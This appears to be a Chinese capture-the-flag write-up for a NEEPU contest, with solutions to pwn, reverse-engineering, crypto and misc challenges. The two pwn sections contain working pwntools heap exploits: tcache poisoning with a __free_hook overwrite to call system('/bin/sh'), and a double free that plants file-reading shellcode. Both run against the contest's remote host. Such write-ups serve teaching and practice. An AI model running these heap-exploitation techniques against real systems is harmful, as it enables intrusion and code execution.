libc2.32,类似于VN ff那道题目,后门给的还是很多的,只有一次show机会,用来泄露heap_base,而且是只允许申请0x78以下chunk,所以需要打tcache结构体来打IO泄露,然后改free_hook为system执行/bin/sh
exp:
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level = 'debug'
debug = 2
if debug == 1:
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
else:
p = remote("neepusec.club",18087)
libc = ELF("./libc.so.6",checksec=False)
elf = ELF("./pwn",checksec=False)
one = [0xdf54c,0xdf54f,0xdf552]
def add(index,size,content):
p.sendlineafter("choice:",str(1))
p.sendlineafter("index:",str(index))
p.sendlineafter("size:",str(size))
p.sendafter(":",content)
def delete(index):
p.sendlineafter("choice:",str(2))
p.sendlineafter("index:",str(index))
def show(index):
p.sendlineafter("choice:",str(3))
p.sendlineafter("index:",str(index))
def edit(index,content):
p.sendlineafter("choice:",str(4))
p.sendlineafter("index:",str(index))
p.sendafter("content:",content)
add(0,0x60,'a')
delete(0)
show(0)
p.recvuntil("content:")
key = u64(p.recv(5).ljust(8,'\x00'))
heap_base = key*0x1000
success("heap_base = " +hex(heap_base))
edit(0,"b"*0x10)
delete(0)
edit(0,p64(key^(heap_base+0x10)))
add(0,0x60,'a')
add(1,0x60,'\x00'*0x4e + '\x07')
delete(1)
add(2,0x48,'\x00'*6+'\x01'+'\x00'*0x5+'\01'+'\x00'*8)
add(3,0x38,"\x00"*0x10)
add(4,0x10,'\x00'*8+'\xc0\xb6')
add(5,0x40,p64(0xfbad1800) + '\x00'*0x18 + '\x00')
p.recv(8)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-libc.sym["_IO_2_1_stdin_"]
success("libc_base = " + hex(libc_base))
free_hook = libc_base + 0x1e6e40
sys_addr = 0x503c0 + libc_base
add(7,0x30,p64(free_hook))
add(8,0x70,p64(sys_addr))
add(9,0x30,"/bin/sh\x00")
delete(9)
p.interactive()
RushbB!!!
double free 来攻击 0x23330000
写 shellcode 然后把任意写把free_hook改成 0x23330000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./RushB'])
else:
p = remote('neepusec.club', 18220)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./RushB', checksec=False)
def add(idx,content):
p.sendlineafter(">>","1")
p.sendlineafter(">>",str(idx))
p.sendlineafter("weapon:\n",content)
def show(idx):
p.sendlineafter(">>","2")
p.sendlineafter("check?\n",str(idx))
def free(idx):
p.sendlineafter(">>","3")
p.sendlineafter("drop?\n",str(idx))
def write_addr(addr,content):
p.sendlineafter(">>","4")
p.sendafter("Where?\n",addr)
p.sendafter("What?\n",content)
p.sendlineafter(">>","1")
p.sendlineafter(">>","5")
shellcode_addr = 0x23330000
shellcode = '''
push 0x67616c66
push 0x67616c66
mov rdi,rsp
xor edx,edx
xor esi,esi
push 0x2
pop rax
syscall
mov rdi,rax
xor eax,eax
push 0x50
pop rdx
mov esi,0x1010101
xor esi,0x22320301
syscall
push 0x1
pop rdi
push 0x50
pop rdx
mov esi,0x1010101
xor esi,0x22320301
push 0x1
pop rax
syscall
'''
shellcode = asm(shellcode)
for i in range(0,7):
add(4,"aaaa")
add(4,"aaaa") #priev 7
add(4,"aaaa") #vic 8
add(1,"aaaa") #9
for i in range(0,7):
free(i)
free(8)
show(8)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
free_hook = libc_base + libc.sym['__free_hook']
success('libc_base = ' + hex(libc_base))
free(7)
add(4,"aaaa")
free(8)
pd = '\x00'*(0x108-2) + p64(shellcode_addr)
add(5,pd)
add(4,"aaaa")
add(4,shellcode)
add(4,'aaaa')
write_addr(p64(free_hook),p64(0x2333000e))
#gdb.attach(p,"b free\nc")
free(0)
p.interactive()
RE
OLLEH
这段是斐波那契数列
v14[0] = 1;
v14[1] = 1;
for ( i = 2; i <= 19; ++i )
v14[i] = v14[i - 2] + v14[i - 1];
能得到v14数组为
[1,1,2,3,5,8,13,21,34,55]
所以写脚本得到数组
a='416:99A:77'
b=[1,1,2,3,5,8,13,21,34,55]
for i in range(len(b)):
b[i]=b[i]&0xf
d=[0]*10
for i in range(len(b)):
d[i]=ord(a[i])-b[i]
print(d)
[51, 48, 52, 55, 52, 49, 52, 53, 53, 48]
最后flag就是HELLOworld+数组前5个元素的值再取MD5
NEEPU{HELLOworld5148525552}
NEEPU{a4db343d5faf70bc4fb88dd8d4dc86de}
ez_re
查壳
是c#程序,dnspy打开之后发现4个字符串
整理完
arry =‘mDDO’
arry2=’T{gD’
arry3=’009_’
arry4=’bSE}’
后面是对字符串进行加密
写解密脚本
arry ='mDDO'
arry2='T{gD'
arry3='009_'
arry4='bSE}'
arry_all = 'mDDOT{gD009_bSE}'
flag=''
for i in range(len(arry_all)):
if arry_all[i] >= 'a' and arry_all[i] <= 'z':
if arry_all[i] >= 'a' and arry_all[i] <= 'y':
flag += chr(ord(arry_all[i])-31)
if arry_all[i] >= 'A' and arry_all[i] <= 'Z':
if arry_all[i] >= 'A' and arry_all[i] <= 'Y':
flag += chr(ord(arry_all[i])+33)
if arry_all[i] >= '0' and arry_all[i] <= '9':
if arry_all[i] == '9':
flag +='0'
else:
flag += chr(ord(arry_all[i])+1)
print(flag)
NeepuHe110Ctf
特殊字符串没有被加密,直接加上,得到 flag
Neepu{He110_Ctf}
Login
Login.exe是用py文件打包的
把exe文件转换成pyc文件,然后在转换成py文件
得到关键代码
注册过账号密码后,只需在密码后加上ctf,即可弹出 flag
flag:Neepu{vrey_good!!!!!}
miaomiao
打开程序
程序加壳了
查壳
是upx壳,脱壳的过程中发现出现错误,
说明upx壳做了改动,修改文件头
打开一个正常的upx文件的头,应该是这样的
所以直接修改,再保存文件,再脱壳,可以成功脱去
再打开,进入b64_encode函数,是换了密码表的base64
Block = (char *)malloc(Size + 3);
v5 = malloc(4 * (Size / 3 + 1));
memcpy(Block, Src, Size);
memset(&Block[Size], 0, 3u);
v9 = 0;
v8 = 0;
while ( Size - 1 >= v9 )
{
v4 = (Block[v9 + 1] << 8) | (Block[v9] << 16) | Block[v9 + 2];
for ( i = 0; i <= 3; ++i )
v5[v8 + i] = b64table[(v4 >> (-6 * i + 18)) & 0x3F];
v9 += 3;
v8 += 4;
}
v2 = Size % 3;
if ( Size % 3 == 1 )
{
v5[v8 - 2] = 61;
LABEL_12:
v5[v8 - 1] = 61;
goto LABEL_13;
}
if ( v2 )
{
if ( v2 != 2 )
return v5;
goto LABEL_12;
}
LABEL_13:
v5[v8] = 0;
free(Block);
return v5;
}
密码表为
abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/=
这就应该是加密后的字符串
WfYe2KYaXv77PYctBWI5ZZInCucHCYcxPZHpAvq71ecmBXE54ZIc
进入level1函数,是对字母进行的大小写替换
进入level2函数,是对字符串进行位移为3的凯撒加密
所以首先是对字符串进行换码base64加密,然后大小写替换,再进行位移为3的凯撒加密
在线网站解凯撒加密,得到
TcVb2HVxUs77MVzqYTF5WWFkZrzEZVzuMWEmXsn71bzjYUB54WFz
再替换字母的大小写,得到
tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ
再base64换密码表
import base64
enc = 'tCvB2hvXuS77mvZQytf5wwfKzRZezvZUmweMxSN71BZJyub54wfZ'
intab = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'
outtab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
transtab = str.maketrans(intab,outtab)
enc = enc.translate(transtab)
print(base64.b64decode(enc).decode())
得到
Neepu{Sha1_ta1_Yang_De_x1a0_lan_ma@_ya}
flag管理系统
加了个腾讯的壳
第一种做法是可以直接通过 SQL 注入获得 flag
第二种做法是直接解压 apk,在 xml 里发现了 flag.xml
打开后得到flag
Neepu{1204A5C2AC4E8891367B2B2C03F72BB8}
ez
进入sub_40235D函数,rc4加密
对应的base64换表
进入 sub_40152F函数,tea加密
进入sub_4015FD,xtea加密
所以程序整体的流程是有两次输入,对第一次输入的字符串进行换表rc4加密,对第二次输入的8个数先进行tea和xtea加密,最后再进行异或,得到最终数组
开始写脚本,先算出rc4加密后的字符串
#include<stdio.h>
#include <stdint.h>
void teadecrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
unsigned int r=32;
uint32_t v[2]={2673851464,3310450321};
uint32_t v1[2]={616429839,807110888};
uint32_t v2[2]={2457144410,2698612238};
uint32_t v3[3]={2379229075,1331005540};
uint32_t k[4]={2,2,3,4};
teadecrypt(v, k);
teadecrypt(v1, k);
decipher(r, v2, k);
decipher(r, v3, k);
// printf("%d, %d, %d, %d, %d, %d, %d, %d",v[0],v[1],v1[0],v1[1],v2[0],v2[1],v3[0],v3[1]);
int a[8];
a[0]=v[0],a[1]=v[1],a[2]=v1[0],a[3]=v1[1],a[4]=v2[0];a[5]=v2[1],a[6]=v3[0],a[7]=v3[1];
int temp;
for(int i=0;i<8;i++)
for(int j=7;j>i;j--)
if(a[j]<a[j-1])
{
temp=a[j];
a[j]=a[j-1];
a[j-1]=temp;
}
int b[100]={81, 116, 91, 49, 50, 81, 100, 61, 85, 77, 96, 98, 84, 107, 72, 59, 52,
96, 83, 122, 61, 52, 50, 107, 71, 89, 58, 96, 93, 78, 49, 75, 77, 83, 118, 65, 79, 110,
68, 126, 100, 70, 63, 62, 4, 5, 7, 8};
char c[100];
for(int i=0;i<48;i++)
{
c[i]=b[i]^a[i%8];
// printf("%d, ",iii[i]);
}
printf("%s",c);
return 0;
}
再rc4解密
#include <stdio.h>
#include <string.h>
const char base[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
char get_index(char ch)
{
char *ptr = (char*)strrchr(base, ch);
return (ptr - base);
}
void RC4(unsigned char *pSrc, int nSrcLen, const char *pKey, int nKeyLen);
void DecodeString2Binary(const char *src, int lenSrc, char* &res, int &lenRes);
void DecodeString2Binary(const char *src, int lenSrc, char* &res, int &lenRes)
{
lenRes = lenSrc*3/4;
res = new char[lenRes];
int cp = 0;
if(src[lenSrc-1] == '='){lenRes--, cp++;}
if(src[lenSrc-2] == '='){lenRes--, cp++;}
char* newSrc = new char[lenSrc-cp];
int i;
for(i = 0; i<lenSrc-cp; i++)
newSrc[i] = get_index(src[i]);
for(i= 0; i< lenRes; i+=3)
{
res[i] = (newSrc[i/3*4]<<2) + (newSrc[i/3*4 + 1]>>4);
res[i+1] = ((newSrc[i/3*4 + 1]&15) <<4) + (newSrc[i/3*4 + 2]>>2);
res[i+2] = ((newSrc[i/3*4 + 2]&3) <<6) + (newSrc[i/3*4 + 3]);
}
delete []newSrc;
return;
}
int DecodeBase64RC4(const char* pSrc, char* pDst, const char* pKey);
int DecodeBase64RC4(const char* pSrc, char* pDst, const char* pKey)
{
if(!pSrc || !pDst || !pKey)
return 0;
int nSrcLen = strlen(pSrc);
int nKeyLen = strlen(pKey);
int nResLen = 0;
char *pRes = NULL;
DecodeString2Binary(pSrc, nSrcLen, pRes, nResLen);
if(pRes)
{
RC4((unsigned char*)pRes, nResLen, pKey, nKeyLen);
memcpy(pDst, pRes, nResLen);
pDst[nResLen] = '\0';
delete []pRes, pRes = NULL;
return nResLen;
}
return 0;
}
void RC4(unsigned char *pSrc, int nSrcLen, const char *pKey, int nKeyLen)
{
const int MAX_SIZE = 10*1024;
unsigned char S[256] = {0}, T[256] = {0}, R[MAX_SIZE] = {0};
if(!pSrc || !pKey || nSrcLen <=0 || nSrcLen > MAX_SIZE || nKeyLen <=0)
return;
int i = 0;
for(i = 0; i < 256; i++)
{
S[i] = i;
T[i] = pKey[i%nKeyLen];
}
int j = 0;
for(i = 0; i < 256; i++)
{
j = (j+S[i]+T[i])%256;
unsigned char temp = S[i];
S[i] = S[j], S[j] = temp;
}
i=0, j=0;
for(int m = 0; m < MAX_SIZE; m++)
{
i = (i+1)%256;
j = (j+S[i])%256;
unsigned char temp = S[i];
S[i] = S[j], S[j] = temp;
int t = (S[i]+S[j])%256;
R[m] = S[t];
}
for(i = 0; i < nSrcLen; i++)
{
pSrc[i] ^= R[i];
}
}
int main()
{
char res2[100];
char res1[100]="PuY26Tc5TLbaPnO35aQy915cFX8cYK6CLRtBKkCveG==";
DecodeBase64RC4(res1, res2, "flag{Would_you_like_basketball?}");
printf("decode, src: %s --> res: %s\n", res1, res2);
}
得到
1978-8-23@Kobe@Basketball#$%^&*
所以flag为:
Neepu{1978-8-23@Kobe@Basketball#$%^&*}
CRYPTO
中国古代加密
原题描述
古有乾隆晓岚对出千古绝句:
花甲重逢,增加三七岁月。古稀双庆,更多一度春秋。
今有诗人徐海源于东电题诗:
群芳无力懒梳妆,楚楚金花吐暗香。 不愿游人夸颜色,千紫万红续华章。
题于己亥年三月初十,名为迎春花。
留一密文:
千愁万绪
该对使得flag有头有尾,该诗使得flag有声有调,可谓形同:“不到园林怎知春色如许,不入书塾何闻书声朗朗。”
对于第一部分对联,上下联加和均为 141,根据提示有头有尾,可以猜测 141 放置在 flag 的头部和尾部
对于第二部分诗词,考察了中古古代加密的的反切码,根据提示诗分为上下两部分,所以提取诗词的前两句的声母,提取诗词后两句的韵母,得到加密用的字母表
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
q | f | w | l | l | s | zh | ch | ch | j | h | t | a | x |
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
u | uan | ou | en | ua | an | e | ian | i | an | ong | u | ua | ang |
根据提示有声有调得知加密时需要加入声调,声调有四声也就是1,2,3,4,根据密文千愁万绪的拼音声调可以得到这四个字的加密方式的可能性
qian 1声 181
chou 2声 832 932
wan 4声 364 3104
xu 4声 1414 14124
然后排列组合可以得到 8 个可能的组合
1818323641414
18183236414124
18183231041414
181832310414124
1819323641414
18193236414124
18193231041414
181932310414124
根据提示flag比较长,所以先从长一点的加密流程试验,最终的 flag
Neepu{141181832310414124141}
RSA
拿到文件后,查看代码。题中给了对m和m+e的加密。把e当做padding,在sage中解出e和m。然后查看encode函数,发现加密过程跟dp泄露很像,dp=d%(p-1)题中是d%(p+1)。将p-1改为p+1,解密即可。
python 脚本
import gmpy2
from Crypto.Util.number import *
c = 78543767285872349029076059073458316000847341792088805258173041942425687239313215276670106926320359777962661495032475004417723103701253550583245518206305422982968675291500865382213182669036827898932991063338163290845510339896689210314509493839746410486257998875782496654704288722251878269643040214139429715671
n = 91995272927105081122659192011056020468305570748555849650309966887236871318156855318666540461669669247866754568189179687694315627673545298267458869140096224628114424176937828378360997230874932015701507629238213240839370628366083111028544554453150572165461450371411341485911677167168492357154684642531577228543
c1 = 10186066785511829759164194803209819172224966119227668638413350199662683285189286077736537161204019147791799351066849945954518642600518196927152098131117402608793752080104402893792812059620726950782670809837962606250674588612783027976958719051829085903720655233948024280118985875980227528403883475592567727892
c2 = 46182103994299145562022812023438495797686077104477472631494150222038404419414100727667171290098624214113241032861128455086601197239761085752413519627251290509474327611253599768650908336142621210005389246714504358370629231557080301516460985022782887233790302054696967900384601182742759555421864610431428746119
dp = 129256555243625096140386916253259867206651269142565502540823654159666398099455456877012993395632742360829588042575108302297567291349420390228163587340859
e = 71
p = 0
q = 0
for i in range(1, e):
if (dp * e -1) % i == 0:
if n % (((dp * e - 1) // i) - 1) == 0:
p = ((dp * e - 1) // i) - 1
q = n // (((dp * e - 1) // i) - 1)
n1 = (p-1)*(q-1)
d = gmpy2.invert(e, n1)
m = pow(c,d,n)
print(long_to_bytes(m))
得到 flag
Neepu{Have-a-g00d-day12138}
AES
这是一道简单的aes。给出45位flag_enc,又加上19位字符,总共64位。题中将其分为两部分,然后将其异或的值加密。只要求出异或的值和其中一半的flag值,就可以求出flag_enc。
给出的key是32字节,且两个字节的不断重复得来的。与16字节的iv异或后输出。通过将输出的值与0异或,可以求出key,然后再将输出的值与key异或求出iv,即后一般密文的后16位。
有了key和iv,求出两段明文异或后的值。已知明文的前几位是aaaaaaaaaaaaNeepu{,经过异或求出后半段的前16位明文。整个后半段求出后,异或求出前半段。
之后,再根据题中的提示flag是18位,flag_enc是45位,应该是经过了某种加密。没错,就是键盘加密,解密出真正的flag!
python脚本
import Crypto.Cipher.AES
from Crypto.Util.number import *
enc_flag = b'\xd8\x83\xfd\x89\xc3+\x11\xb8g\xd2\xf5k\xeeU\x88\xb5\xde\x8bq\x9bC\xab\xe3K2R<\xaa\xbc\x92H\x19'
c = 111074535590201916919246051309547040927554959486196038152130336189953949145068
key = long_to_bytes((c^0))
key = key[2:4] * 16
iv = bytes_to_long(key)^c
iv = long_to_bytes(iv)
print(iv)
aes = Crypto.Cipher.AES.new(key,Crypto.Cipher.AES.MODE_CBC,iv)
m = aes.decrypt(enc_flag)
m = bytes_to_long(m)
pad = bytes_to_long(b'aaaaaaaaaaaaNeepu{aaaaaaaaaaaaaa')
m1 = pad^m
m1 = long_to_bytes(m1)[0:16]
flag2 = m1+iv
flag1 = bytes_to_long(flag2)^m
print(long_to_bytes(flag1)+flag2)
'''键盘密码 Neepu{are-you-kidding}'''
flag
Neepu{are-you-kidding}
MISC
15 Puzzle!
访问链接 15 Puzzle Game Click Here
15 拼图游戏,通关即可
flag
Neepu{Pu33le_G4ME_n22ds_Gre4t_M!nd!}
龙会说话?
先把 jpg 文件头补齐,分离出密文,谷歌龙语的对照表,解出压缩包密码,然后对音频 SilentEye 解密得到 flag
Neepu{Y0U_c4N_5p3ak_D74g0n_L4nge}
coin
连接之后可以交易货币,通过规律发现买哪个哪个货币就会跌,于是全部买进 XRP
让它的价格变成负数,然后再买金钱就会增加了
获得 flag
拔尖儿
分析代码后得知奇数部分为正确的 flag,但是偶数部分是错乱的,分析上部分代码可以得知大于 97 的部分减一即可,小于97的部分需要乘三之后与正确的 flag 字符进行比较,大于它时减少一,等于时就被重置了,根据提示只知老胡稍了个2,1,1,2,0。,结合上部分得到偶数部分恢复的数组
[64,103,101,114,110,56,111,110,98,105,117,95,52,33]
最后拼接起来即可得到 flag
# -*- coding:utf-8 -*-
c = [68,65,110,99,98,110,105,74,51,120,95,57,69,97,64,109,103,96,101,117,54,108,110,93,71,55,110,38]
l = [64,103,101,114,110,56,111,110,98,105,117,95,52,33]
r = ''
j = 0
for i in range(len(c)):
if i % 2 == 0:
r += chr(c[i])
else:
# r += '?'
r += chr(l[j])
j = j+1
print('Neepu{'+ r +'}')
flag
Neepu{D@ngbeir3n_8Eo@ngbei6un_G4n!}
Train
拿到音频得知是无线电,用 MSSTV 解密
拿到一串代码YW25B639078
参考火车代码,分析后得到 flag
Neepu{硬卧车_25_标准型_120_639078}
发表评论
您还未登录,请先登录。
登录